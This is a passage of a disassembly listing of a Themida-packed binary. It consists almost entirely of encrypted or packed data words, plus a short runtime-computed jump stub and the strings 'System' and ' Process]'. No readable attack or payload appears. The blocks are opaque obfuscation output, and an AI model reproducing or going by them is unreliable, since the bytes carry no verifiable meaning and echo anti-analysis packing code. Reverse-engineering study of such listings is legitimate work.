		dd 0AD66048Bh, 0BBA9422Fh, 0A3C15A27h, 442FAF37h, 0EBB824ABh
		dd 40199027h, 5DCDDB74h, 48E1D071h, 4C5AD25Ah, 62A9792h
		dd 0A77581Bh, 0E9B91412h, 0B3EC7910h, 2BC4B02Ch, 8127D3A4h
		dd 9B11034Dh, 0FBBCC4AEh, 5919908Eh, 35D077EFh,	179h, 0AF7F557h
		dd 3E0ADA71h, 0F1C0BCA5h, 0DAC86150h, 3333DA52h, 39C6656h
		dd 16D67DE5h, 81E9927h,	74976060h, 4BF5218Ah, 0B979CCEEh
		dd 2CC45D29h, 9E67653Eh, 0D47BE705h, 0C68F2814h, 0C084BAE9h
		dd 0DC44ADDh, 6801CD5Dh, 0B54E3DAFh, 35A42BB7h,	0EEB7B97Ah
		dd 4C2189A8h, 45EFEDA4h, 492189A3h, 0A3C5860Ah,	0B9232189h
		dd 58E6D212h, 0D6FEBA5Eh, 96E24F56h, 6FBDE2A6h,	0DE9938B0h
		dd 9B8922EEh, 8BCA5D1Ah, 59D1A56Ah, 9F58FAB2h, 8A4C5821h
		dd 0A60EB621h, 100ED2BDh, 0DA29F2EEh, 0DD872189h, 8458DD60h
		dd 1B91D2CDh, 0E2FE952Eh, 2676C3DAh, 7D16E2DAh,	0AD4C036Fh
		dd 3CB44D3Bh, 0E1AC2063h, 52D25A48h, 0A646CD66h, 0B24B36D7h
		dd 0BB5420B4h, 45AD45ADh, 0F992605Ch, 0F38C77EBh, 4E056DF5h
		dd 0EED8D48Fh, 5F2EBE55h, 3836CFBEh, 0FE6144ACh, 0E714D0ECh
		dd 7C17377h, 0CF40000h,	8A74E473h, 4F262F1h, 8F7CEC6Bh
		dd 6F567F6h, 395FEE6Dh,	7221BA89h, 0F1A03902h, 7C1BB47Fh
		dd 28A7400Ch, 0BCCD4CFh, 691989BDh, 0AF5C2DEh, 0A5DA8EBh
		dd 0C9358D3h, 72393DC9h, 0A29153FAh, 566F7E14h,	0EB836ED2h
		dd 0A66F7132h, 0F32189A1h, 0F57D6B04h, 0A637DE86h, 6D06EFEDh
		dd 993A06E6h, 0C19A12ABh, 5B2902DEh, 0FD67D46Dh, 0FEDF7600h
		dd 6E9D5A45h, 26D58DCBh, 0A42BC35Ch, 380AF5F8h,	0E19810DEh
		dd 0F6C222A9h, 57CF6855h, 0EC2F9049h, 0EA552234h, 3EFF198h
		dd 41DAA319h, 5A1BB723h, 0B8218A49h, 0E0BF9810h, 51821BEAh
		dd 0A435DCE8h, 6A03F1EBh, 3B59F07Ch, 710AF7F5h,	9D3E0ADAh
		dd 0CA931BB4h, 0C54CE5D2h, 29A7ECA5h, 218A9460h, 0A9420EBEh
		dd 6E5A8A41h, 943BFC84h, 3A99218Ah, 8336B072h, 129A1231h
		dd 0CE675349h, 1CBD54E0h, 69F6963h, 43B3654Fh, 8C55DD76h
		dd 58C2510h, 0C3F6D99Ah, 525DE6h, 14924E05h, 266FEDh, 0CC23229Fh
		dd 751CDA9Dh, 44058B84h, 0A219907Fh, 0AAE9B23Ah, 907F6526h
		dd 2AC3B219h, 0FC6A21CBh, 0D40CC01Fh, 6FAA72A0h, 0A637FCD8h
		dd 0C08C198Fh, 0ACBA531Fh, 0E1BAA840h, 8FA616DFh, 5CCC7419h
		dd 0EAD8D66Fh, 7B66CAF7h, 0BFE2D7B8h, 0C680537Ch, 7A65620Fh
		dd 90EEB7B9h, 0A44C1990h, 889E8AEDh, 2498034Dh,	0FC09C059h
		dd 95h,	42DBA923h, 0AF50D8Bh, 2A6603E2h, 0ECC44B3Eh, 9F1D066Ah
		dd 69138D1h, 0CB644F4Dh, 11BE9844h, 2AA22670h, 0ED0CC35Ch
		dd 0E04428Eh, 880854ECh, 198FD8BFh, 0BE3BB31Dh,	88152D9Bh
		dd 0B9A73F9Dh, 9061581Dh, 4AE3AD19h, 38017F5Ch,	96199061h
		dd 39D2BE2Eh, 32CBB72Bh, 97D2A834h, 581B062Ah, 80829E77h
		dd 17BE2663h, 31726D5Ah, 9053E6AFh, 0D4124619h,	0E3F922AEh
		dd 0AD33EC54h, 198FA5ECh, 88EBA24Ah, 34D6798h, 1D108h
		dd 0A6950700h, 0FC931F0Dh, 32AEF5A0h, 218A9469h, 76761DC7h
		dd 2B53FC8Ah, 0CD14F2D1h, 128A4765h, 169E8C25h,	7D14AD96h
		dd 2EB29C6Bh, 2189DD6Dh, 0D08921CBh, 6EF420EFh,	18825FDh
		dd 6405F161h, 26E3019Ah, 8A60E1AAh, 1D953F21h, 0E5D0CC95h
		dd 95E15E4Ch, 0AA0AD5AEh, 501EB53Dh, 932C1993h,	7F20ECFCh
		dd 0A50D1BB4h, 756B540Dh, 0BDE1175h, 702BAA61h,	34F11A8Fh
		dd 27250F6Fh, 0E633C0AEh, 0F2EEA5F1h, 2189F248h, 0CB64504Ch
		dd 2EBE55DDh, 5DF6C162h, 0A5900CD5h, 0C58E1E0Ch, 3EB63E2Ch
		dd 5C4AE3AEh, 0DF9839D0h, 0CF861FEDh, 0A390311Dh, 7AB9A20Ah
		dd 89F235F6h, 0A2299321h, 8AF618C4h, 0E4F032C0h, 25EFCCA8h
		dd 9B139F8Dh, 6801CAC2h, 851EEA7Ah, 0DC73FB67h,	420C80C3h
		dd 982FBBA9h, 6FF9523Ch, 3F795626h, 0E401DBF8h,	9242B35Ah
		dd 0F6A50DA6h, 7B64CC4Eh, 59347B14h, 0D86F43E0h, 4C1B84BFh
		dd 21BA87E5h, 9F1A9703h, 49973E56h, 1E7D603Bh, 21EAE6A1h
		dd 7F1192E0h, 8845DD5h,	0AEE9A039h, 5B654F3Eh, 1192E09Ah
		dd 39D850F8h, 0A36AF8C7h, 0B55DE5ADh, 8871AD0Ah, 9092AF91h
		dd 612C4518h, 41DD1CCAh, 46A61h, 1CB59D00h, 0A8410B7Dh
		dd 30C9B729h, 0A9422FA1h, 32CBBA2Ah, 0C60412A3h, 4DBF5EF7h
		dd 0FC6CEB84h, 67D97811h, 0F853029Bh, 0BAB475FBh, 89121989h
		dd 9F7F507h, 3807D970h,	0E23526AAh, 0BF279C46h,	0DAD69DD6h
		dd 218A4411h, 9059056Fh, 0EE218A44h, 550ECF86h,	0E7A9B10Eh
		dd 8A44D561h, 89F94D0Eh, 8A41AB21h, 2CD6E5Ah, 1DE77B69h
		dd 9B84EC84h, 95ACFF34h, 8E1EE3A9h, 9C0826BFh, 0B12BE4F5h
		dd 0B63E2CC5h, 5406811Fh, 0E88019E4h, 0AB6C742Fh, 9218A94h
		dd 58F1BF5Fh, 2FADE6B1h, 3ED7A344h, 3E2CC430h, 22E3EDB6h
		dd 80218A94h, 0D1A331D8h, 0B52670A1h, 0E4C5E44Ah, 0A85FBF0Ah
		dd 7DB69F49h, 902A32F3h, 0A1289019h, 454B08C1h,	19902A84h
		dd 5D37AE2h, 19902A40h,	1513AC95h, 101EB785h, 0B17F2845h
		dd 694E7BE6h, 34DE2B9h,	9D36017Bh, 1CD1BF6h, 84F80000h
		dd 2D6B22BBh, 6932AEF5h, 0C7218A94h, 8A76761Dh,	0C8B428F1h
		dd 11CA982Fh, 7118B19Bh, 76F2806Fh, 0D5E5A27Ch,	0D8B7A008h
		dd 0FF663BF6h, 8FDF76B8h, 0B19FEDD2h, 493822E3h, 1C7416C2h
		dd 478218Ah, 1783A13Ah,	0F6847070h, 5D7A14A6h, 6F28C0ABh
		dd 29A7917Dh, 218A9460h, 0F79E16BEh, 6A662DE6h,	218A94A1h
		dd 2EBE55FFh, 0DEBED462h, 86344F96h, 0A92300EEh, 0BD2543DCh
		dd 0C37C9E16h, 8A57FCBDh, 7AF25A21h, 2D433EA1h,	2779486Dh
		dd 39A1BF58h, 0AE4731B1h, 0C5B77C27h, 30AC63FCh, 2670773Eh
		dd 0B67F0142h, 14199075h, 0A941DAA4h, 9818D322h, 199075CFh
		dd 722BC32Dh, 75E6AF31h, 9C441990h, 74FCBDC3h, 0F25A1990h
		dd 0CBC17A5Bh, 0DD4563FCh, 23DC7E36h, 9075DC9Dh, 1A923A19h
		dd 0C18A0241h, 32B23A28h, 0B927AE47h, 1E7D880Eh, 43DCA616h
		dd 2D3BD4A3h, 7DEF0EC5h, 6D06F293h, 0EFB46D05h,	933828F1h
		dd 37DE8611h, 0CBB5276Ch, 0A4C25B2Ah, 2AB2B038h, 0E47241A3h
		dd 40B8E8BCh, 0D9519Eh,	3C2AC38Ch, 6A98615Fh, 4EF61193h
		dd 0F5AE2FE6h, 5D86EB0Ah, 12B9B69Eh, 77F9E3D2h,	1192DDAEh
		dd 0D46D5C0Ch, 3CFD835Ch, 9A1192DDh, 94E7BA32h
		dd 811CCA80h, 2190DEDh,	844C0000h, 12FC6CEBh, 9C6ADA79h
		dd 17E45403h, 9E6DDF7Eh, 0B1C75605h, 0A892211h,	7918B19Ah
		dd 0F4A33C07h, 701FB884h, 93545C17h, 0F11989B8h, 4F3E6A26h
		dd 3E826CC1h, 680030A5h, 0AF503DAFh, 0EC52DC6h,	0AA9814CFh
		dd 871311h, 857314E0h, 0FE76FEECh, 0C2815E25h, 799D685Bh
		dd 1A7F48D4h, 0FDCC218Ah, 5FDE4664h, 0C47F5EF5h, 4462FBC8h
		dd 0F56331D8h, 0DD740DF7h, 0BDA63F0Bh, 0B55CF5BFh, 1997DCB5h
		dd 218A9450h, 0D9A646AEh, 6B578940h, 86B5DCDDh,	60C8A16Dh
		dd 0A33C0577h, 67761D85h, 0AE4730ACh, 10B7503Eh, 49127698h
		dd 1C66A50Ah, 0BDF77C8Ch, 89BC5821h, 3063B821h,	0EB26A439h
		dd 722DE48Ch, 0AD6E7231h, 0B218A62h, 62C79010h,	0BB25218Ah
		dd 4409C33h, 0EC298A1Eh, 9D6029A7h, 16BE1989h, 0FB857E7Fh
		dd 19899D3Ah, 0DFB83098h, 18821EDh, 8947A861h, 15E03535h
		dd 0F4C020A7h, 5FBB2166h, 76FE2465h, 5C462FADh,	8A0D9354h
		dd 0DF47F119h, 23B259C1h, 0F28B7468h, 0FFE168F4h, 7E474933h
		dd 0DE198A0Dh, 1DDA53h,	0F058D779h, 0DCE49F78h,	1989FE1Bh
		dd 2A38CF79h, 0F38C7B71h, 0FAE66DF5h, 278D043Dh, 0EE8772h
		dd 0E7059E6Ch, 46EAD70Ah, 60602360h, 0B82F097h,	0A9C44BF5h
		dd 1EEDDF00h, 321ECE85h, 0FECCC099h, 5EF7C565h,	266D26B7h
		dd 82F0E1AAh, 0FE953F0Bh, 0B48122EEh, 0DA50D1Bh, 0D0695854h
		dd 7C702939h, 79E9F790h, 0D57CF48Dh, 533C2613h,	0F2C81D8Eh
		dd 5213BF0Bh, 0B00B8374h, 0BBE8AB08h, 0E4B3011Eh, 2A19934Ch
		dd 80079391h, 0B00F0CE2h, 3E0A9BEFh, 0C80018A5h, 722F3AD1h
		dd 0D33CCAB6h, 0A606D182h, 746831B9h, 8E7CEC85h, 0C47F5EF5h
		dd 3A38017Fh, 2E960B83h, 0D87945A7h, 0CBD951EAh, 8A4B550Eh
		dd 0EA0B833Ah, 0D342AA46h, 0F15BDA16h, 1D1A5Ah,	7E610000h
		dd 0D824AB0Ch, 0A63F094Fh, 0F519870Eh, 75730CF7h, 64D66EDh
		dd 1412AB96h, 3E930188h, 3BAFBD56h, 24B8B64Fh, 32A2C059h
		dd 22B2B049h, 38ACBA53h, 22B2B049h, 3EAEBC55h, 39A9B750h
		dd 0F7B8B64Fh, 81E18951h, 4C1h,	4E98300h, 5C240C87h, 68243489h
		dd 71AEh, 53242C89h, 0C381E389h, 4, 8704EB83h, 895C241Ch
		dd 6852240Ch, 361167CDh, 8124148Bh, 4C4h, 3E2C100h, 7981EA81h
		dd 0D589A88Ah, 0C8B545Ah, 4C48124h, 68000000h, 1990h, 81242C89h
		dd 32332434h, 418F2CC7h, 8718108h, 2CC73233h, 57240C8Bh
		dd 0C781E789h, 4, 4C781h, 3C870000h, 34FF5C24h,	0C4835D24h
		dd 0FD33E904h, 0ABB5FFFAh, 8C9F1F3Fh
		db 21h
; ---------------------------------------------------------------------------


loc_60FAC9:				; CODE XREF: Themida_:0060DFA0j
		mov	eax, 800DF30h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dw 92F4h
		dd 5CC9473Ah, 4FBB0125h, 0FF75202Eh, 0A0D833D5h, 33F20915h
		dd 2CD596Fh, 0BB3B1701h, 92986BCCh, 31305BDAh, 0D51C17C1h
		dd 222F47D2h, 0BADC731Fh, 7B3660CEh, 4A514F09h,	9B1775F9h
		dd 2C321FB2h, 830C781Dh, 8558376Bh, 91D017C9h, 0F35A139Fh
		dd 0B8BF4C02h, 0D4C25CE5h, 93AC4DDAh, 0FE8187Fh, 1000000h
		dd 0DFD5CDBCh, 5A8F679Bh, 597A86D4h, 54BBA2CEh,	5E4052C4h
		dd 6184C681h, 40680000h, 0E9000018h, 0Fh, 67FB1CBCh, 99FA312Fh
		dd 182C75A7h, 588E5C59h, 8166168Bh, 8195F9E7h, 0BD6A27EAh
		dd 0F8B70F5Ch, 1F51F281h, 8B6614C2h, 76F281CFh,	0F7642FAh
		dd 0F52DBBFh, 68FC8B7h,	10E9h, 0B6E7C500h, 0B772D309h
		dd 920399DEh, 5073BA1Bh, 3EE833Ch, 3880F4Eh, 66000000h
		dd 0F48DE8Bh, 0FFFFAF85h, 0E908B7FFh, 17Ah, 4A64E4DBh
		dd 84CE6FFCh, 4C324B92h, 0BEF5FB0h, 52E451BBh, 0BE751B8h
		dd 52EC5FB3h, 3BC7768Fh, 52952386h, 0D06E7708h,	9C6AC36Ch
		dd 52D2B19Ch, 52A312E7h, 128h, 0
		dd 4, 2	dup(0)
		dd 35h,	0
		dd 8, 0
aSystem		db 'System',0
aProcess	db ' Process]',0
		align 10h
		dd 43h dup(0)
		dd 31E90000h, 68000034h, 800E647h, 0FAFAA8E9h, 0E86768FFh
		dd 9EE90800h, 68FFFAFAh, 800EA59h, 0FAFA94E9h, 0EC6D68FFh
		dd 8AE90800h, 68FFFAFAh, 800F038h, 0FAFA80E9h, 0F38968FFh
		dd 76E90800h, 68FFFAFAh, 800F570h, 0FAFA6CE9h, 0F6CA68FFh
		dd 62E90800h, 68FFFAFAh, 800FC0Ah, 0FAFA58E9h, 0FDFC68FFh
		dd 4EE90800h, 68FFFAFAh, 800FF72h, 0FAFA44E9h, 9E68FFh
		dd 3AE90801h, 68FFFAFAh, 8010489h, 0FAFA30E9h, 119568FFh
		dd 26E90801h, 68FFFAFAh, 80113D5h, 0FAFA1CE9h, 8A169FFh
		dd 942D1789h, 0CA59305h, 952E1B8Dh, 0EA79606h, 0EAD8FE8Fh
		dd 61D3821Bh, 0E050FF98h, 6BDD7C15h, 0FC57069Fh, 0B2B079F7h
		dd 450E1989h, 0AA36E5Eh, 523E1583h, 0F18A7468h,	2AEB67F3h
		dd 8A218A94h, 0C798CEB0h, 41AB0AB3h, 0A73FD8A1h, 7314FEEEh
		dd 0CC83EB84h, 27EC59Eh, 2189FA39h, 46A62D97h, 7C96EC7Ah
		dd 18581CEEh, 8A8FCF98h, 2BC32D21h, 8FAD6E72h, 610B218Ah
		dd 4D5310C9h, 218A8F8Ch, 19E282EAh, 4F08C980h, 8FCB8C14h
		dd 2F18218Ah, 0AD0C9896h, 4BBAB643h, 0BCAEB9E6h, 0C4799B15h
		dd 89EFFBBCh, 82EF5921h, 0DEDA745Eh, 2EE77FF1h,	9138D1BEh
		dd 0CD0C8A06h, 0E252266Fh, 2CF57D16h, 12CE91C3h, 109C8A23h
		dd 1AABD1A3h, 0A616F373h, 0C4303ED7h, 0D602CF0Dh, 530C198Fh
		dd 0C9D77059h, 5EF7C161h, 402DE450h, 951B5887h,	198FD6D4h
		dd 70038A32h, 34D3280h,	26EFF1B2h, 84198FDEh, 0AFD835DCh
		dd 0B4000000h, 0FA840AF5h, 43E466C4h, 3DF2248Ch, 8A6F7233h
		dd 6114D221h, 54FB5544h, 68686E5h, 175E86BAh, 8C250F8Fh
		dd 0C59E169Eh, 415FF8C7h, 2A6932D9h, 3E2CC5B2h,	22E3EDB6h
		dd 80218A67h, 0D1A331D8h, 0B5267074h, 3229F2EEh, 0D5871990h
		dd 58E54DE6h, 0E7BB13A1h, 0DC1DB467h, 4731AB74h, 8A4727AEh
		dd 0D18A2312h, 903406CFh, 55FC6419h, 9034BA87h,	87200F19h
		dd 0A13A0999h, 0EBBA683h, 80FC3722h, 912A13B4h,	0E89F0793h
		dd 349B447Dh, 1E968AFEh, 5F10B752h, 34DBAB3h, 0D0D41A85h
		dd 646C314h, 244C24Fh, 0EBE10000h, 0FC68861Fh, 0F7F54755h
		dd 9DB720Bh, 0C56DAF3Dh, 34ABABA1h, 1DE9E3BCh, 57FE6684h
		dd 7553A17h, 0C2AF4B6Fh, 0AA23B04h, 0F9926183h,	41E2AC20h
		dd 65CDDB74h, 6B2846CDh, 0FFED8671h, 6B04F373h,	8E5EF57Dh
		dd 337029C2h, 89B0ECADh, 0EBA24A21h, 0DBE59E7Bh, 2189B01Ah
		dd 0A739D078h, 0B54E3ADBh, 9E68643Dh, 0D3941C05h, 312189B0h
		dd 16D10087h, 0B092535Dh, 48F02189h, 0AB8713C1h, 308F2189h
		dd 1AD0203Ch, 0C020A753h, 0C5860AF4h, 23218A13h, 34F880C4h
		dd 8921D168h, 0D6B97221h, 57AA4BB6h, 92ADB17Bh,	0BBBFE552h
		dd 0F3BF21A8h, 0E7BE8709h, 0B41C2189h, 0A020633Ch, 2189E7D7h
		dd 66048B35h, 2BD642ADh, 8CC0E1E2h, 4819C62Fh, 800730AAh
		dd 0CCBA2628h, 2CC45D2Bh, 653EB63Eh, 84D9A21Eh,	8D37218Ah
		dd 0E6D69D06h, 19E3831Ch, 210BC980h, 2526707Ah,	0E9A4ACBAh
		dd 9CF7841Dh, 1AE77757h, 50F76381h, 82CB42A1h, 5EFB19EDh
		dd 35A20DD6h, 2956C338h, 641FBE55h, 4B029B68h, 4052AF61h
		dd 661018F6h, 7C7029C1h, 5C1DA38Dh, 0BA198FF3h,	2B8C9A12h
		dd 0EFCBC13Bh, 0AD64CCB9h, 0FAF2B1F2h, 0EB77750Eh, 908AA66Fh
		dd 0B55C0419h, 7DA0A427h, 24108C1Eh, 43F5048Bh,	51C1DF78h
		dd 0D865CD66h, 0ED3C6E20h, 5B44AC6Ah, 0AE866674h, 14A19564h
		dd 90AE7326h, 0C5DE758Dh, 6957F8C7h, 0E24AD2D0h, 75363AF9h
		dd 7911936Bh, 936B2EF7h, 55E48C11h, 0F47C15E3h,	6BE4A52Bh
		dd 9A421193h, 6A29E2F3h, 0F2F08972h, 6B2DEE6Ah,	0E18B1193h
		dd 2ACBBA2Ah, 7B2EC65Fh, 1CCA106Ah, 86171B13h, 0F700002Fh
		dd 75E7760Fh, 0F163F28Bh, 79EB6A03h, 0F464F38Ch, 5CED6C05h
		dd 20B9883Ah, 9D36FF71h, 2AC38EFEh, 0B44D39ABh,	0C7C9CA25h
		dd 1989ADFEh, 0F5CDD35Ch, 73710AF7h, 0B18060E7h, 0A08E2710h
		dd 0DCC39C14h, 74408D11h, 34D25EDBh, 22DDFC93h,	5A48E1AAh
		dd 0DDA93BD2h, 760FF9F3h, 0A770EC78h, 52189FBh,	490AD35Bh
		dd 89FB7E47h, 0DD74DC21h, 7C4943FCh, 0FB4D0E92h, 41AB2189h
		dd 5D27BBA9h, 0B63EA6C4h, 0F7F5811Fh, 9D76740Dh, 8A945213h
		dd 0A008B021h, 348DBFE9h, 0F80C5488h, 0F0A94191h, 27F0F0B3h
		dd 74218A0Ch, 0D983F28Bh, 0CB78000h, 0AB15218Ah, 18DEB824h
		dd 631C2670h, 8FD69C5Dh, 0DA52FA19h, 0AF9D0FCCh, 94617F16h
		dd 0E9198FD6h, 0F666841Dh, 7D76740Dh, 0AD55B44h, 1D0DAA17h
		dd 85034D36h, 1A9h, 0FEC7C98Ah,	5C198FE1h, 0F53F5DF4h
		dd 0DC730CF7h, 0B9A7400Ch, 841DECE0h, 8B2C1BCDh, 0B13927C0h
		dd 9D236039h, 218A94DCh, 6BFB923Ah, 0BA533EAEh,	8F39C513h
		dd 241218Ah, 8A8FBD7Eh,	0D4E01D21h, 0F3E53A02h,	0B335DC84h
		dd 0C25B26C7h, 4B8E712Ah, 0DE59053Bh, 0D8715ECEh, 4430A031h
		dd 7B0025B6h, 0EAD7153Ch, 5FC75351h, 0B59E0EC7h, 1CF5751Ch
		dd 2E3CD5A0h, 96D834D1h, 258DA648h, 0A414466Eh,	0EBB43CD5h
		dd 0BE5F28A8h, 13BD2189h, 0B39D237Ch, 0B7266FB4h, 6756F7C5h
		dd 0DC54E0CEh, 0DA735ECEh, 8A3ABB52h, 0BA5320C1h, 40A83432h
		dd 39C6557h, 0DAD28D4Ch, 0CD5553ECh, 541D3870h,	0D47B38CEh
		dd 4DE13ADCh, 23571D8Fh, 742FE880h, 29F28B78h, 8FDADEA7h
		dd 0FD943C19h, 7CED49DFh, 9E0E551Eh, 0BB7C18B1h, 811929Dh
		dd 0AB15A43Dh, 4B50854Eh, 13BA9901h, 0EC8572E2h, 57219B84h
		dd 0C78C17BEh, 3243048Ch, 0E6A11193h, 933221EAh, 5DD57F11h
		dd 0A64736B6h, 0B14A36D7h, 27BF2B39h, 5F4938A8h, 93329861h
		dd 1AC0F811h, 5FB6FA5Ch, 1D0068D0h, 1CCAA63Ah, 662F332Bh
		dd 0D700002Dh, 55C756EFh, 0D143D26Bh, 59CB4AE3h, 0D444D36Ch
		dd 3CCD4CE5h, 40D9A81Ah, 0BD561F91h, 4AE3AE1Eh,	0D46D59CBh
		dd 0A729EA45h, 1989ACDEh, 0F52D733Ch, 73710AF7h, 0B18060E7h
		dd 93603F18h, 1C2ED98Bh, 0B06B6A21h, 162CEDF3h,	0DA8A218Ah
		dd 0C85452EBh, 4B37A960h, 5947E0AAh, 1BA59D1h, 167D3E42h
		dd 66DD218Ah, 0E27FFCB5h, 1AB11B9Ah, 0AF7F57Eh,	60E77371h
		dd 0D1BB480h, 0D66F5854h, 8A87269h, 0E66D6AC4h,	0AF993A06h
		dd 88A63F0Eh, 0E96941Ch, 0F6BFBDA6h, 2CE34F5Dh,	0DF0DF2ADh
		dd 0CB645051h, 0D05786Eh, 0AE986686h, 8A886932h, 951DC721h
		dd 4EE7D0CCh, 6954D460h, 702939D0h, 0F3B75B8Fh,	0A85FAEACh
		dd 0DDAB4C38h, 0F9F3AC44h, 1D07710h, 0D26B5646h, 0C6C148D4h
		dd 127698E3h, 0CF685349h, 0A337D562h, 0B45BE190h, 0E5EBA8EBh
		dd 21899B24h, 0A533DA82h, 266F888Fh, 39C7147Bh,	0ECA4560Dh
		dd 7DFADD7Fh, 9B328FE5h, 561FA15Ah, 0B4198F8Dh,	0D4BBA40Ch
		dd 0B3AD9CA7h, 368D441Bh, 0E0816F6Dh, 56D7B14h,	2CFAE66Dh
		dd 38CE04E9h, 0CFDD7644h, 5204AC63h, 0A752139Dh, 8B02204h
		dd 0F47CB7A0h, 2204A733h, 0C8B72791h, 44FF982Fh, 824EE45Bh
		dd 0B929EE04h, 0AC3836CFh, 0D75B725h, 14B326EBh, 0C81B14B9h
		dd 0C29B1321h, 0C61A9CDDh, 0F39AB51Bh, 5D269673h, 0AE3EA6C4h
		dd 0D25A48E1h, 82DF713Bh, 0D1576EE1h, 31EA8287h, 2A38D1BBh
		dd 0D3900BC2h, 5755EED9h, 939844CBh, 7F1EF57Ch,	0BCAA430Dh
		dd 0FB589930h, 0E1B8596Eh, 5F38B0BEh, 89A6A380h, 18AFA180h
		dd 0A0410D7Fh, 0EDB63ED7h, 0A8612AA6h, 15BF120Ch, 7A11AA95h
		dd 0E9E3A05Bh, 0FD8841Dh
		dd 6D120CA8h, 0B09C4C03h, 18BFCD22h, 0B97952Eh,	791D8CAEh
		dd 7E312EF1h, 3C321C50h, 2B7438h, 841DE500h, 9963D5h, 7811DF51h
		dd 19A67D9h, 7A13E252h,	9E2C4ADBh, 158716AFh, 9404932Ch
		dd 0F8110A9h, 0B00B8A23h, 0AA2CEDF3h, 0C18A1989h, 32AEF5DFh
		dd 218A9469h, 76761DC7h, 911FE98Ah, 1E3B310Fh, 0F7F57D28h
		dd 2CE5036Bh, 0C4B6C3h,	5CF33E2Eh, 855EC254h, 83F5E1BEh
		dd 0E9161E75h, 96FC7662h, 9D3A2670h, 28BAF428h,	24FD75F2h
		dd 3A98615Fh, 4EF61990h, 5F5D16C7h, 86EEFC95h, 0A3311DCFh
		dd 9A0F18E7h, 5841A9E9h, 30B09A64h, 198FC767h, 95931BC5h
		dd 3CE8860Dh, 9A5B651Ah, 0F8198FC7h, 40098750h,	9E198FC7h
		dd 0FAE5BE36h, 9AAF6A79h, 0FE976106h, 6223AD76h, 0C019903Ah
		dd 6D267118h, 15E0816Fh, 6E066E7Ch, 7F5DF480h, 219019D6h
		dd 8019E2DAh, 0D57C15E0h, 86716B24h, 59A871EDh,	5E06118Fh
		dd 0E4A20DD6h, 3BCA14A3h, 144F48FFh, 1311AA98h,	14E00087h
		dd 852CBB86h, 961EDB09h, 0FAE4CFCDh, 8F32B576h,	41A91311h
		dd 2B39D2A1h, 0EC908BFh, 328A4B55h, 80E8118Fh, 412B17C9h
		dd 32BD7E02h, 0B11B118Fh, 8F326425h, 921AC211h,	4DE6D3C9h
		dd 2E3CD35Fh, 0DE77D486h, 0C7602D7Fh, 9F7CDE6Ah, 44F1BAB6h
		dd 0A54F118Fh, 826B540Dh, 0E7350489h, 1425DF4h,	725BE8Bh
		dd 5FE8F49Bh, 63198EEEh, 2EB29C69h, 98E2E6Dh, 9B8921CBh
		dd 0C779780Fh, 0E64765FEh, 4B12866Eh, 31EA8246h, 8E5DE6AFh
		dd 149C4409h, 0D765514Bh, 208D71D1h, 0C68F1717h, 514FE8D6h
		dd 0D89342C9h, 64821BE4h, 0A38F51F8h, 8C9A3302h, 70393720h
		dd 0CE098E72h, 0D7D58E26h, 0AEBC53ECh, 6932AEF5h, 0C7098E72h
		dd 1C3E761Dh, 8F48E1ACh, 8E724811h, 0B63EA609h,	612AA6EDh
		dd 0BF098E72h, 5E257E15h, 1B09A26Eh, 0AADCF88Fh, 8E0E746Ch
		dd 560ACBD5h, 0B680194h, 6FA7689Fh, 65EC84EBh, 6B552494h
		dd 9395A465h, 0D25A0201h, 0E5F4875Ah, 8DA12CC9h, 2960ADh
		dd 50E9D100h, 0CC654FC1h, 54EDDB4Dh, 0CD6653C5h, 56EFDE4Eh
		dd 0A22036C7h, 299B3AD3h, 0D848C760h, 53C554EDh, 0F44FCE67h
		dd 0A8E8B12Fh, 7D461989h, 0C40AF513h, 858C84E6h, 2B73D1A8h
		dd 7CF4B307h, 962413D5h, 9283185Dh, 82119902h, 0DBDB38DAh
		dd 0D1E8B17h, 9F8D2615h, 0BEC29B13h, 218A5FFDh,	0A079F15Bh
		dd 0EC55E2Ch, 0F4DECE95h, 6801CB5Bh, 5365F3E1h,	19CB2670h
		dd 25BE8B2Ch, 15139B07h, 97301D8Dh, 9B892189h, 66FFCEBEh
		dd 0B0513DAFh, 5E3B29C2h, 90439962h, 0E54DF719h, 2C18944Dh
		dd 540D9593h, 90438B4Ch, 0C87FE919h, 0BF714E09h, 9198CB27h
		dd 907C6C23h, 5B651EF7h, 1990269Ah, 0A9B950F8h,	5039B3F0h
		dd 265A1BB7h, 10B81990h, 0C41D2F79h, 76D22CE2h,	864FD7F6h
		dd 95932C16h, 15AE9D0Dh, 9B048B17h, 4732F7D8h, 0DCBC9DECh
		dd 0A51DA735h, 0AB211E75h, 6D8C43DCh, 57591A03h, 1195A38Eh
		dd 9DCD84ECh, 5759430Dh, 1195A38Eh, 0FEEC84ECh,	1A08A16Eh
		dd 0B9773021h, 0FBC6B6C3h, 31D84462h, 0F548B34h, 95A3C891h
		dd 17BE2611h, 81FFE9D5h, 1195A3B8h, 5D46AE16h, 340DE472h
		dd 0A85F1E2Ah, 18CD7F29h, 964BCF98h, 2BC32D11h,	6E723172h
		dd 11964BADh, 91616C0Bh, 19C9D223h, 0FFC8C891h,	5D119638h
		dd 0EA805CF3h, 0F6167C2Ch, 2E1CBD86h, 87761D95h, 5553ECD5h
		dd 0D55DF6C5h, 66CE6755h, 50248B48h, 288EA419h,	4834B45Bh
		dd 8F6E6AFh, 1A8AD86Fh,	19899730h, 9993912Ah, 593FF1AEh
		dd 0A0206320h, 99C14D7h, 460F8B35h, 0A4099C14h,	0EFD8953Ch
		dd 7710FCF0h, 92610169h, 0C87FEBF9h, 0F6D52EE0h, 6E9E5C3Ah
		dd 435D72C6h, 543C41B6h, 5F4003DCh, 0D68130EDh,	0B39D54FAh
		dd 6E3A4FACh, 48D60289h, 540E8214h, 0BCC1CA6Bh,	9990800h
		dd 1C88A63Fh, 0EBD48475h, 6BC85452h, 51A548E1h,	451E962Bh
		dd 0C3E17A47h, 6621B057h, 3FE2A32Dh, 984001A2h,	1903EFF1h
		dd 0A23FCE97h, 2CC42C01h, 898A8C73h, 0D2C2CBBAh, 916E2B3Bh
		dd 0EE412009h, 407DBC30h, 91A09F1Ch, 83508C43h,	8101A208h
		dd 7463996h, 60DD7641h,	0EBA24ABFh, 2E9E417Eh, 4FDBC962h
		dd 0BB5C28B8h, 0E7B038D1h, 0C16324ACh, 17C101A1h, 36A66170h
		dd 0CC1CB34Ch, 0F8915F00h, 31EA82EAh, 0C835CEBBh, 418A3832h
		dd 1555FC38h, 0B079F73Ch, 0FD01A257h, 26A7811h,	6A42C973h
		dd 0A28C78E8h, 0A2575D1Eh, 9911BB01h, 7B674811h, 6029A761h
		dd 0BE01A1A0h, 8EEAA916h, 0E554E05h, 0C1AB39Eh,	45EBE9A0h
